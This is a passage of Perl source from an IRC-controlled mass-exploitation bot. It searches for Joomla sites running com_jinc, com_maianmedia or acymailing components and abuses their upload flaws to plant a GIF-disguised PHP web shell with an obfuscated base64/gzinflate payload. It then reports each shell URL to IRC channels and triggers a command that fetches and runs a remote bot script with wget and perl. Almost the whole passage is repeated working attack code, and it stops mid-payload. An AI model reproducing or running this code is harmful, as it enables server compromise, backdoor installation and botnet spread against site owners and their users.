sleep(2); } } elsif ($print =~ /Saving your image to: ..\/tmp-upload-images\/load.php/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $hasil = get_content('http://'.$site."/components/com_jinc/classes/graphics/tmp-upload-images/load.php"); if ($hasil =~ /GIF89aG/) { my $safe =""; if ($hasil =~ /GIF89aG<b><br><br>OS:(.+?)<br>/) {$safe = $1;} &msg("$admin","$jinclogo215$engine 9 sHeLL 8 http://".$site."/components/com_jinc/classes/graphics/tmp-upload-images/9load.php OS :".$1); &msg("$chan","$jinclogo215$engine 13 sHeLL upload3d "); &msg("$chan2","$jinclogo215$engine 9 sHeLL 8 http://".$site."/components/com_jinc/classes/graphics/tmp-upload-images/9load.php OS :".$1); &msg("$nick","$jinclogo215$engine 9 sHeLL 8 http://".$site."/components/com_jinc/classes/graphics/tmp-upload-images/9load.php OS :".$1); &get_content("http://".$site."/components/com_jinc/classes/graphics/tmp-upload-images/load.php?cmd=cd%20/tmp%20;wget%20http://flickr.com.oliso.com/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*"); sleep(3); } } exit; sleep(2); }} } } } sub maianmedia_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $nick = $_[5]; my $count = 0; my @list = search_engine($chan,$bug,$dork,$engine,$maianmedialogo); my $num = scalar(@list); if ($num > 0) { foreach my $site (@list) { $count++; if ($count == $num-1) { &msg("$chan","15(7@4$engine15)13 Scan finish15"); } my $test = "http://".$site.$bug."?name=load.php"; $code = "GIF89aG"; $code.= '<?php '; $code.= "echo '<b><br><br>OS:'.php_uname().'<br></b>'; "; $code.= 'echo \'<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">\'; '; $code.= 'echo \'<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>\'; '; $code.= "if( \$_POST['_upl'] == \"Upload\" ) { "; $code.= "if(\@copy(\$_FILES['file']['tmp_name'], \$_FILES['file']['name'])) { echo '<b>Upload Succesfully !!!</b><br><br>'; } "; $code.= "else { echo '<b>Upload Fail !!!</b><br><br>'; } "; $code.= " } "; $code.= "eval(gzinflate(base64_decode('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'))); ?>"; my $ua = LWP::UserAgent->new; my $res = $ua->request(POST $test,Content_Type => 'text/plain', Content => $code); my $print = $res->as_string(); if ($print =~ /Saving your image to: ..\/tmp-upload-images\/load.php/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $hasil = get_content('http://'.$site."/administrator/components/com_maianmedia/utilities/charts/tmp-upload-images/load.php"); if ($hasil =~ /GIF89aG/) { my $safe =""; if ($hasil =~ /GIF89aG<b><br><br>OS:(.+?)<br>/) {$safe = $1;} &msg("$admin","$maianmedialogo15$engine 9 sHeLL 8 http://".$site."/administrator/components/com_maianmedia/utilities/charts/tmp-upload-images/9load.php OS :".$1); &msg("$chan","$maianmedialogo15$engine 13 sHeLL upload3d "); &msg("$chan2","$maianmedialogo15$engine 9 sHeLL 8 http://".$site."/administrator/components/com_maianmedia/utilities/charts/tmp-upload-images/9load.php OS :".$1); &msg("$nick","$maianmedialogo15$engine 9 sHeLL 8 http://".$site."/administrator/components/com_maianmedia/utilities/charts/tmp-upload-images/9load.php OS :".$1); &get_content("http://".$site."/administrator/components/com_maianmedia/utilities/charts/tmp-upload-images/load.php?cmd=cd%20/tmp%20;wget%20http://flickr.com.oliso.com/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*"); sleep(3); } } exit; sleep(2); } } elsif ($print =~ /Saving your image to: ..\/tmp-upload-images\/load.php/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $hasil = get_content('http://'.$site."/administrator/components/com_maianmedia/utilities/charts/tmp-upload-images/load.php"); if ($hasil =~ /GIF89aG/) { my $safe =""; if ($hasil =~ /GIF89aG<b><br><br>OS:(.+?)<br>/) {$safe = $1;} &msg("$admin","$maianmedialogo15$engine 9 sHeLL 8 http://".$site."/administrator/components/com_maianmedia/utilities/charts/tmp-upload-images/9load.php OS :".$1); &msg("$chan","$maianmedialogo15$engine 13 sHeLL upload3d "); &msg("$chan2","$maianmedialogo15$engine 9 sHeLL 8 http://".$site."/administrator/components/com_maianmedia/utilities/charts/tmp-upload-images/9load.php OS :".$1); &msg("$nick","$maianmedialogo15$engine 9 sHeLL 8 http://".$site."/administrator/components/com_maianmedia/utilities/charts/tmp-upload-images/9load.php OS :".$1); &get_content("http://".$site."/administrator/components/com_maianmedia/utilities/charts/tmp-upload-images/load.php?cmd=cd%20/tmp%20;wget%20http://flickr.com.oliso.com/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*"); sleep(3); } } exit; sleep(2); }} } } } sub maianmedia2_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $nick = $_[5]; my $count = 0; my @list = search_engine($chan,$bug,$dork,$engine,$maianmedialogo2); my $num = scalar(@list); if ($num > 0) { foreach my $site (@list) { $count++; if ($count == $num-1) { &msg("$chan","15(7@4$engine15)13 Scan finish15"); } my $test = "http://".$site.$bug."?name=load.php"; $code = "GIF89aG"; $code.= '<?php '; $code.= "echo '<b><br><br>OS:'.php_uname().'<br></b>'; "; $code.= 'echo \'<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">\'; '; $code.= 'echo \'<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>\'; '; $code.= "if( \$_POST['_upl'] == \"Upload\" ) { "; $code.= "if(\@copy(\$_FILES['file']['tmp_name'], \$_FILES['file']['name'])) { echo '<b>Upload Succesfully !!!</b><br><br>'; } "; $code.= "else { echo '<b>Upload Fail !!!</b><br><br>'; } "; $code.= " } "; $code.= "eval(gzinflate(base64_decode('1Rppc9u28nMzk/+AokpETazDdtLGhzRxHTlWJz4iyXlN44yGIiEJNa+QYGQ1zX/vLgCCpG05tuO+l6d2YgLYXeyNxZIPH7A4DuNRzKIwFjyYWq3a1sMHfEKsH3mSMGFVRoPuYNA7OnxfHdt/2mfVD7XaD58fPqh84gkXTpgGgrRJC5AqczaGR0Tov+3239P94fB4tH80GNIPuMyDP0vL/e6bk+5gODrp9xTAOHQXAEFt1yYLO5gSwGCOIKcBkkZ8imCJPWF+y2UA+oIHfDQFLqs4OfJDl1UN/wawRj5XEuakMRcLID/Y2euODo5edoHA0d4e3fry8AHzEnYN1CEAya1ZHLG4DTvOwkSMF4HtM8tIVFV/RzsvX/ZBTVpmdibCGIgsQ+p3D46G3QKSb3PPos5izGLBnFkQjvlfL6Y423BCn64QKjVFV+i+nXCP/IpmsQMyEyLabDYzXYHWMnFOg94xGbD4E0NGtBSnAYHZnlRxGMN0xiuVnF8yu7ZyrqxLEE+eSC3xiZW5zqvu8H3V8cKAodug1yRhGjus6AfVwW6/dzwc7fVedw93DrpV6QsuSwQn7Rzq5dHuyUH3cDjqHx0Nqx8atMl9e8qSZgIsc/g7CUMX/xEsbkSzCF0lZkrXatMVoqjWlBT36EebN/KjTeVHAOTMQkK3BRce64wXf21sbKxuN9Vwexx3kHUNMwkhvBL+F2uvESf0wE4/PZc/AOzQhtmoQbebY4NcgclRCmZuU4s2QK4RTIAyhJy0ag1au+keJ4AAnKfcbUtK/gIegYLZokHJNF+cXlwssnWj/dBisCFFG45Sab9amcwkDRzBw4BEc9iMoFc5c1dFmINTygcraTsRcRyFiYXrK9VmVbqgXPoR1zwWyKVafRUXYibSOCA40wDgzJyfC/PSv/X8VVucnt5mD4BevoneCFVWBZXFPvExgYCmjzGjElvqoE1p53qF7oa+bwdupsBtHkSpIGIRsTYV7FxQgjpuU8d3aXl1kI59nq8rOpR8sr1Ujs8AvomcdapbZU4ZGEiS8FNP8MiOhYSru7awM84zcVCar4hwEnmh7ZI97jEpRhOhL0kz467LAs1tongvAUwAXy+jb+KQ6j2fK2rXcnHI5hJ7kxSZKNBHbSrs1Wd6n4DN8YESx7OTpC3sEoJiUq/RsTC6VQKX1FtIqqix91WFnKXVVGK4HPN7lMfAjxXJR4aj2QGkz3JBpmHMu4P31Uwl1Q8AJ4GkH/rhJzZS1Jk7QgDrShThRyOFBmnWcNOQ22hm7oUUSqvySOYVcC4yF/PCF6KyLymtD1LHYUlCBEw1LpKD5LV5TOgW+SKj7ZKStdNnWoYYkSrTi74rzyqd1qKYFT1oPfOglvxBsk5mzPNG7Jw5FlKSWU05URNxaSm1lE9QP2ch1DzkC3dlIbwVD/EkYyGeAANorJE8WQAbTpYEDppGE/6H8YRP09jGIJcHcS1jEDCLBQS5A9dVLyF1z64uYfxFRafFzEZqCDoiBFcnceibNRyYlZjZXilWsokCROQtRFgAkGOzDgGJpVS7EKA4Nus+eCEULGZdj806wwrP40lOwczk/KPWNZs6ci7ErILTRpFZJvdlM1eid5lUHoAazPaxzM+VKod6FVxkJLjPRh6HfGTxQEASMwGEK3IBnWcLwHtQUWVGgvNhkXz0aO0zEmo2X8X2mEihCcRoDPphCUErkYPF4M1rBOKB46VQstFGU+I2eDAJVbmHyw8fEKJrto8eVtvk77+JHHjhlAdmFEHGNQN3bB4/pixeKHYI/KIYxCH02GM2OGzm2YyUtyZzLmZkATWm5hMXYl8FANnxPAI6wrtVAitEzHiiSckgIjYQjNnHlMfMbSgxcG92zoUefMlEq7h4wZK7Y9wF4F5WJinkykxM9Ygy1ghcPVzOLLqrwPHghUyo+FSpE4pBvY8inDAPAEfu2FLKwbJ5XCSUei4JQohWCUjwUB+jfhS4oQYBk8DxbxiWurVyLRuKb3ComdkkBiAnFKR+HM4TQwnGI5yw9BY1Y3vQu1U5b7e2SOV8O8PDwZMnuVU1FpIwJCdQOs5wpkyTSHi4viivbBdx37c+FGBMrJJGO8do0NPAmPTLBWvyUigkDIorYDLLE7BZitWjA3cRK5s0XBWgWMymeH/3bAeU+ejZ7qO1Nbwkqj/XYQJ9l32VPhSxPEqgRpmx5ApAneYuAep5A/hF/sswOaC3/Px0pPeu/rZ/6L1bf7v4Y7Cz0dv9rTVe20ictd6cvTqPnPX+zh9rqzP7P/P03dqG6P2ZTF++Cc/s33emx4Nfgz9+73vj4F3Y837bG55snPTfbvza7/YHPX72S2+n3a7WFAPF6lSVZvi4Sk1RDTW8KBTV15ewHZRl2+WfiO3xKcA7kFhZjOWmPyVJ7LQpXsYTuI3P5/OGCEMvGbfO8freFDMGOmyCH+F9PLvEQtyGa40omFJZiUr6TdhAPUGAQaKYc1fM2nS11XpEyTiMXbzftSiZMT6diTZ92vpFcZY5GGIiLe2jMHLLROCgTSIb+H8KBKfq2KU/7cFd1hBd/5l2CFS/RJ3QE3CyNt2Jue3p2pmuUVLAROTO42CcRFsH3cFg51U3CxH4DbrDk2NzbmMRLdwif80Cu9ew/ihnD3xcqyLjofsc/7soT6fARdFwMZIpXaFofZ1qMd+y2LUDe4VIeVfIPvM+McEdmEnsIKmDBfmEdt5B5s85xV8XY3/TCKrsWJDSXSLZ87tI9k28F9Wy7GaIJ7C5mlQbsohqVDPzr7dopyi9kXqZlOur3739DvGad2vzPV39Ls2XFbJFE2ZztzOjjs9bRmc5r1ypk3/Tun0s0+vD8D7C8Sai/BfsKe8dZXPKqXsNytuaLbpPo+V0ZSolxzEPsc25+VVBnq7+L42mDj7N5MMH27pEVoZjkZaCEmyYYrF4IKsPSsLAmdnBFBtXs3C+z132GlZ35S3BqhX1sR1GsojXxqe6Cmcu6dSJvqjszsIQ/tS3mwp4OToUQKSzD8r6Oug6gh7ivcYrAP/wwwWwZwj2OpyXYZqKyyL1b9H4jhC2M5MNwcwjdLlE7mmHJXGoeob6WMz7h3QNCqhm5+p4M3eEopuu/YLh800sKl8jlzYlpV3/T2uqgbo93CJpm1p2/Xs8hPVtqJi09VSetDdufgT/K+bUDvW96raUW69VCipZeqIII3oDUVZB83eQZfUb/AR9w4YqTLuHvlWrG1mb/gz8YOcCLUk74Ct6vVEFUTVm2VXGscw/hSK25Iqx7fIwf5NjGoHGHyPP5gFsP2POGYPDST9gVoNTBdYIKRbItyM+E74nKe0PD15fQ0i9wckoqbu4ISL7I0BEiZpTOUz9MYuxqYUQm8tDUHUtaeHoU3YEFV9B9sA+537qk8SJeSQINp9T1T3jPrNAHwkDUd1khbSw60SCkJheZ20pDwbEsNEqs3GNdvQrrQxxANISdgDVUZIh3qLeK5VJd/T/9fvzf9M9yyJg/WIEGIjlMXB9ZoBH7KLIkXmvRtQr/stdOJJ3kmUD+vFjbBDrVpccZA0yOTDcLe8d+5HHBIMz0iMTzjw3IWMGXDDptjyYqgZyFuhX9oGzDmIFiMgdsSWaRB4XFvYZVwpdyGLv1IDKj3WsHNsAQSkj5Kch1NjBLHmhjc09uodq2CQIgF1O7HFD/ZJ63gvZBwcB5UsYQJmzMZMWWfItUGPZJ0DyJcBRxLBJznRzXFZ6PmQUtIYdLFbgH5foDqLqjhIuZAiqHq2IweXwYyaSvW0wL02McaRh5TRoNxGJgqnlxpN96WHGBFhGdulFvEBDQapRrxFRoZ4bVAWYEp4jDlU4LCLzsrkX09oFy5HszQy+QQMHdq1JGOEXArjPCgWEFXzCAMt42rqM6czS4GykDF/ShJUBFdBS7qrerAjTKGKx5bvPrDTgH7lryVxWqxWg9VthpKo+nZFMlN9DqCa77rKfb+u3Q3KQt9kvdeKVy13qxYO+2gWHfl85z7vqMjRFmENn8OWWN8FuN3o/gG4VQJe1yB/LrR4rjCs65OWu9vW4F7vceeAPdFgrpwwRvqF+tAA88dJkZpW2noFbqGDEkNskpllDtmUu6pzGp4HpapDs8o+z9Ao6DSB00Dvo1iFLJ5DkNslqo3UR+EKclJB3lUvVh3AKQfybdrjPz5m7BedGGrh2vGijp92Gbr1+FcbynTHpN4tvNm+EitlgwuJ6FwME7LFJno+5QNTr0DOf+HZ5bq5ZBYWCbalT8ZTmiKf0ToQvS6/yxV2IveSQVhMupA/leXlL5sglDN9mn8y0t9d5vV6El59PlqJTpweFd0Wohmfq07LlYVl8daef1Tby+zv8slAdoSsq7oG73rH8iK3CI/kOsKHOz5P+azWNZ6RayM/sFX3aqm1hm38A'))); ?>"; my $ua = LWP::UserAgent->new; my $res = $ua->request(POST $test,Content_Type => 'text/plain', Content => $code); my $print = $res->as_string(); if ($print =~ /Saving your image to: ..\/tmp-upload-images\/load.php/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $hasil = get_content('http://'.$site."/components/com_maianmedia/utilities/charts/tmp-upload-images/load.php"); if ($hasil =~ /GIF89aG/) { my $safe =""; if ($hasil =~ /GIF89aG<b><br><br>OS:(.+?)<br>/) {$safe = $1;} &msg("$admin","$maianmedialogo215$engine 9 sHeLL 8 http://".$site."/components/com_maianmedia/utilities/charts/tmp-upload-images/9load.php OS :".$1); &msg("$chan","$maianmedialogo215$engine 13 sHeLL upload3d "); &msg("$chan2","$maianmedialogo215$engine 9 sHeLL 8 http://".$site."/components/com_maianmedia/utilities/charts/tmp-upload-images/9load.php OS :".$1); &msg("$nick","$maianmedialogo215$engine 9 sHeLL 8 http://".$site."/components/com_maianmedia/utilities/charts/tmp-upload-images/9load.php OS :".$1); &get_content("http://".$site."/components/com_maianmedia/utilities/charts/tmp-upload-images/load.php?cmd=cd%20/tmp%20;wget%20http://flickr.com.oliso.com/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*"); sleep(3); } } exit; sleep(2); } } elsif ($print =~ /Saving your image to: ..\/tmp-upload-images\/load.php/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $hasil = get_content('http://'.$site."/components/com_maianmedia/utilities/charts/tmp-upload-images/load.php"); if ($hasil =~ /GIF89aG/) { my $safe =""; if ($hasil =~ /GIF89aG<b><br><br>OS:(.+?)<br>/) {$safe = $1;} &msg("$admin","$maianmedialogo215$engine 9 sHeLL 8 http://".$site."/components/com_maianmedia/utilities/charts/tmp-upload-images/9load.php OS :".$1); &msg("$chan","$maianmedialogo215$engine 13 sHeLL upload3d "); &msg("$chan2","$maianmedialogo215$engine 9 sHeLL 8 http://".$site."/components/com_maianmedia/utilities/charts/tmp-upload-images/9load.php OS :".$1); &msg("$nick","$maianmedialogo215$engine 9 sHeLL 8 http://".$site."/components/com_maianmedia/utilities/charts/tmp-upload-images/9load.php OS :".$1); &get_content("http://".$site."/components/com_maianmedia/utilities/charts/tmp-upload-images/load.php?cmd=cd%20/tmp%20;wget%20http://flickr.com.oliso.com/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*"); sleep(3); } } exit; sleep(2); }} } } } sub acymailing2_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $nick = $_[5]; my $count = 0; my @list = search_engine($chan,$bug,$dork,$engine,$acymailinglogo2); my $num = scalar(@list); if ($num > 0) { foreach my $site (@list) { $count++; if ($count == $num-1) { &msg("$chan","15(7@4$engine15)13 Scan finish15"); } my $test = "http://".$site.$bug."?name=load.php"; $code = "GIF89aG"; $code.= '<?php '; $code.= "echo '<b><br><br>OS:'.php_uname().'<br></b>'; "; $code.= 'echo \'<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">\'; '; $code.= 'echo \'<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>\'; '; $code.= "if( \$_POST['_upl'] == \"Upload\" ) { "; $code.= "if(\@copy(\$_FILES['file']['tmp_name'], \$_FILES['file']['name'])) { echo '<b>Upload Succesfully !!!</b><br><br>'; } "; $code.= "else { echo '<b>Upload Fail !!!</b><br><br>'; } "; $code.= " } "; $code.= "eval(gzinflate(base64_decode('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